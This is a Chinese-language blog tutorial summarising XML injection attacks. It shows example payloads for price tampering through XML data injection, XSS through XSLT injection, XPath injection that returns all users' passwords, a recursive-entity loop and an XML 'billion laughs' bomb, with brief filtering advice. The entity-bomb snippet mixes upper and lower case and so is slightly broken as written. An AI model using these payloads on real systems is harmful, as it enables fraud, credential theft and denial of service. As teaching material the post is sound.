xml注入攻击总结

0x00 前言

之前的博客中,详细的讲了xxe(外部实体注入攻击),那是一种典型的xml注入攻击,但是xml注入利用的手法还有很多,下来详细的介绍一下xml的其他利用手法。

0x01 xml数据注入

xml数据注入,就是通过一些方式,将本来无法更改的xml中的数据更改。

我们假设一种情况,比如一个购物网站的某处xml代码如下:

1
2
3
4
5
6
<?xml version="1.0"?>
<root>
<phone>13200000000</phone>
<price>200</price>
<address>shanghai</address>
</root>

假如这里phone中是电话号码,price中是价格,address中是地址。购物网站中,电话号码和地址是用户可控的,价格是用户不可控的。

但是如果用户的输入没有经过严格的过滤就写入xml,然后再提取出来使用时,我们就可以通过控制phone和address来更改price的值。

我们可以在phone中手动闭合前面的phone并构造注释符:

1
13200000000</phone><!--

然后在address的值中闭合注释符,然后构造一个新的price,输入我们想要的价格:

1
--><price>1</price><address>shanghai</address>

拼接起来就是

1
2
3
4
5
6
7
<?xml version="1.0"?>
<root>
<phone>13200000000</phone><!--
<price>200</price>
<address>-->
<price>1</price><address>shanghai</address>
</root>

然后注释符注释掉中间的部分,剩下的价格就变成了1元。

这就是xml数据注入攻击。

应对

  • 严格过滤用户输入

0x02 xml样式表注入

在xml文件中允许使用样式表,这种样式表能够将已有的xml数据转换成新的xml数据,然后以html方式在web浏览器中展示。

假设xml引用了一个超链接,而链接内容用户可控

1
<link>test</link>

web服务器利用xstl语言将上面的xml转换成这样的html:

1
<A href="test">test</A>

那么如果我们将test改为

1
"#" onclick="alert(1)" /><!--

那么很容易引发跨站脚本攻击。

如果引发了跨站脚本攻击,我们将onclick之后的内容改成我们xss盲打平台上的内容,就可以实施攻击了。

应对

  • 严格过滤用户输入
  • 敏感位置不能使用户可控

0x03 XPATH/XQuery注入

XPATH和XQuery是能够查询xml文档的语言,类似于结构化查询语言(sql),假设xml中包含账号密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version='1.0'?>
<root>
<author>
<user>jack</user>
<pass>123456</pass>
</author>
<author>
<user>alice</user>
<pass>abc123456</pass>
</author>
<author>
<user>lucy</user>
<pass>qwer1234</pass>
</author>
</root>

系统正常情况下通过如下语句来查询xml数据,如:

1
//*[contains(user, 'jack' )]/name

其中jack是用户可控制的,如果我们修改以上语句为:

1
//*[contains(user, 'x' )] | //*| //*[contains(user, 'y' )]/name

|是或运算符号,//*是查询所有,这样就会返回所有用户的数据。

0x04 xml实体循环ddos

如果我们可以控制xml,那么我们可以在xml中添加如下代码:

1
2
3
<!ENTITY %xxx '&#x25;yyy'>
<!ENTITY %yyy '&#x25;xxx'>
%xxx;

这个代码执行到最后一行,就会重复的执行前面的命令进入死循环,耗费服务器资源。

0x05 xml炸弹ddos

如果我们可以控制xml,那么我们可以在xml中添加如下代码:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" ?>
<!DOCTYPE something[
<!ENTITY X0 "testdata">
<!ENTITY X1 "&x0;&x0;">
<!ENTITY X2 "&x1;&x1;">
<!ENTITY X3 "&x2;&x2;">
···
<!ENTITY X100 "&x99;&x99;">
]>
<something>&x100;</something>

当这个语句执行完的时候,原本的testdata就会经过指数式的增长,变成一个超大的字符串,极大的耗费服务器资源。

0x06 xml外部实体注入

xml外部实体注入在前面的博客中写过,可以参考:

http://uuzdaisuki.com/2018/05/03/%E6%B5%85%E8%B0%88XXE%E6%BC%8F%E6%B4%9E/